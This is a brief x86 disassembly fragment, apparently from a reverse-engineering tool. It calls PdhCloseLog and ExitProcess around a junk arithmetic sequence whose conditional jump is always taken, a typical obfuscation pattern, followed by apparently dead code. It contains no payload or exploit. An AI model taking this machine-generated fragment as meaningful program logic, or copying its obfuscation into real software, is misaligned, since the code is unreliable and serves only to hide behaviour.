call dword [sym.imp.pdh.dll_PdhCloseLog]
mov eax, 5
add eax, 5
inc eax
xor edi, edi
xor esi, esi
test eax, 0xb
jne 0x4022c9
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x40164f], eax
ret